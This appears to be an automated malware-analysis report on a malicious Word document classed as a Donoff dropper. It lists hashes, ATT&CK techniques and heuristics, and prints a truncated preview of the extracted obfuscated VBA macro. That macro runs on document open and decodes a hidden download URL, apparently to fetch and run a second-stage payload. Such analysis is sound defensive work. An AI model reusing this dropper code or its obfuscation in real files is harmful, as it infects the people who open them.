Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dad28572738fcaf1…

MALICIOUS

Office (OLE)

95.0 KB Created: 2016-05-31 11:33:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 7fea3f325cc964c3670451fcb64c3d9c SHA-1: aebae793d4981b7132ac4e7d4f137d30bf99fe9f SHA-256: dad28572738fcaf18495dd08bf483dc6b9d1fe8afdd6bc0825fe0ac2d63b120c
262 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate or Obfuscate

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute code. Heuristics indicate the presence of a macro-enable lure, a common tactic for malware droppers. The VBA code is heavily obfuscated, but the presence of CreateObject and CallByName calls suggests dynamic execution of code, likely to download and run a second-stage payload. The ClamAV detection name 'Doc.Dropper.Donoff-5743527-0' further supports its role as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Donoff-5743527-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Donoff-5743527-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17540 bytes
SHA-256: e6f45fff87f788603b4467b58cb30ae9283df022aa14c26649cf5083ea4906aa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim UzAKoMxjvqoR As Boolean
Dim vbcsNxfGwekksz As String
wUnCNFkQZhkHHU.WwJNKBWRBufPD
End Sub
Private Function LpbYBdLzam() As Integer
ywuVVlcoZj "fGAFoF9Vb1qur1TBaVY9YubdBgYHEIV", "wOluh0RfAmqwPdcJfQhUQ", 2512
WcHbOmnvZXSe "tDCbO6MWbpbvsa4L7Nky", "wFHAFQwrtjmGIje5SroYEN9", "23wKJLDBUH2Y7rLvALwBvklxvOBpd"
lveGDzbfAZKzL
LpbYBdLzam = 1071
End Function
Private Sub NNJxSnSHw()
vOGgwlEYtF = "wyPLfdoOatIcihlW8PvnPVb8ysRZcDZbu"
AiYkOMCCMnCr 8439, 2267
jPIMZJGuxHAU = "wFzgJUhxbT9zqXmpivjFjQ5ttjtzO"
If JGJVHRZOW("FwsdP7XDErJlyXdR41RIFU") Then
LYgWDDr
End If
End Sub

Attribute VB_Name = "wUnCNFkQZhkHHU"
Private Function rgLoFzwCB(ByVal RsVRNUo As String, ByVal MsCDLcKqpEGvb As String) As Integer
CVPLbUFnorL "5WVvi4JQaXOEhqYV9YPRoaiOW63yHnV"
rgLoFzwCB = 9308
End Function
Private Sub ZZCQZAfByf(ByVal GTeThBHePdCqVR As String, ByVal UPuJmVrpa As Integer, ByVal aDWXYGVHzEllLw As String)
Dim BBjOryiYMCGM As String
Set YtFPjP = agfxmjRdsmwN.zKyPlesdCASDy(aDWXYGVHzEllLw)
agfxmjRdsmwN.xQIXWAUd ScqdcKSdQsmhEf.OPhZFK("CQQaYn4't. .Ydopw4knkloApazdQ bQiznQkakrRy AQfYi4lQe", "RkYp.zQA4"), True, YtFPjP, True
OSsHewcIhW.ymnBZOADtn HuwqVl.hdssHjrcR(LpCyrAsPVcP, "mzhzMCPBlX4R25Pwwopad8XLwf4", YtFPjP, "uCpCrBJBpcEg56JbWmtsXta8OuFuhm"), "1J5CP7nPjOmsf9R4isOJAJEh7", GTeThBHePdCqVR, "t0vVnc67eECgvsSC2hORAQXuetit15"
End Sub
Private Sub EXjkirM(ByVal NGzgYG As String, ByVal TIfMPqbWZdMYO As String)
If SceMNZQUPVC("huB2yGwve28upFqKK") Then
UmHCxDiA 3366, 5778
AaszKGEOIK
GRUGQWUJJqilT = "5y6c2U34ps7rm28RRHNSrIDJuRRTwOf"
AGQozSfTO
Else
dnGiL = False
owoWKHvlJin 8096, True, 9916
VDqNdqgFP 6122
End If
End Sub
Public Sub WwJNKBWRBufPD()
Dim OgxJEjwPKfd As String
Dim FeYNwEpn As String
On Error GoTo ezedKsNZjRQucK
ccGJD.hXaYTzVmED
ccGJD.jlSVapNC
XQqdHQs
Exit Sub
ezedKsNZjRQucK:
End Sub
Public Function klxfKA(ByVal wBqodL As String, ByVal PbZtMoBZxz As String) As Object
Dim zhyvyJmkIvQB As String
Dim oETuC As Boolean
Set klxfKA = WEvrlVD(CreateObject(wBqodL), "FLRJXebAg5DlcByIS1rfHFQCsM")
End Function
Private Sub NffamDdRwnF()
lAuDXHUIQ
End Sub
Private Sub XQqdHQs()
Dim AqEml As Integer
ZZCQZAfByf OSsHewcIhW.ajAfKfavmez, 7505, ScqdcKSdQsmhEf.OPhZFK("1hxttYpY:J1//YKon1eJhKe91aJlt9hxKpuxb1JliJsxYhi9nKYgY.xcKom9/xiYmYxag1xe/YoYxf9f9icKxe.JJgYiJf", "9xKYJ1")
OSsHewcIhW.MmHEbIgkLqC 3678, False, OSsHewcIhW.ajAfKfavmez
End Sub
Private Function WEvrlVD(ByVal ylTHXAO As Object, ByVal rXDPlthuiYRXxv As String) As Object
Set WEvrlVD = ylTHXAO
End Function
Private Function LpCyrAsPVcP() As String
LpCyrAsPVcP = ScqdcKSdQsmhEf.OPhZFK("RitesqqpionJqseq3BJodfyq", "J.b3tqFfi")
End Function

Attribute VB_Name = "ScqdcKSdQsmhEf"
Private Function gztZmjtd(ByVal biYoucjrpPM As Integer, ByVal FBJCwvhaoNRTNu As Integer) As String
lYzKlFOCbJzJW False, 7050
VFRxaNiWx 3911, "wodANPmOXP8tweHO1F8q"
If zyUcX Then
ieTKcYKkU
DEWaGNrMuTuVxl
YpWGIExk 2922
Else
iLohsJdOhyFjzu 1823
eeScOrydWDHqG = "llRym021PLCCgycxBfmWXmKsLaKy"
chcGl
End If
zjyfddMxI
YoTIFRyUKwc True
gztZmjtd = "c0736PqyhZp0ob6fHbFxDuT16Z6"
End Function
Private Function bhscuewZLlQ() As Integer
Dim HLHCcs As Integer
Dim QjnIiXpEmw As Boolean
FEqCk = "UpGrTyQN9i5ZNNKopkwM"
bhscuewZLlQ = 1
End Function
Public Function OPhZFK(ByVal YhiuncGHi As String, ByVal nOsrUaTFkBT As String) As String
Dim SmZnsPsWqiURc As Integer
Dim gArObdQhBGBOUv As Boolean
For MFpuryGoqbx = bhscuewZLlQ To vGlnjXB.XnGMrQfO(YhiuncGHi, "tz1r2Da4Ucvg2XiU8")
OPhZFK = vGlnjXB.LNuRQcI(OPhZFK, sTJozQXNXnD(True, nOsrUaTFkBT, vGlnjXB.iGXWM(8916, YhiuncGHi, MFpuryGoqbx), False))
Next
End Function
Private Function sTJozQXNXnD(ByVal JMOtLIcsS As Boolean, ByVal TouGJ As String, ByVal owUeOShBt As String, ByVal WztnlwGaIXmh As Boolean) As String
Dim EYdGaeBF As In
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.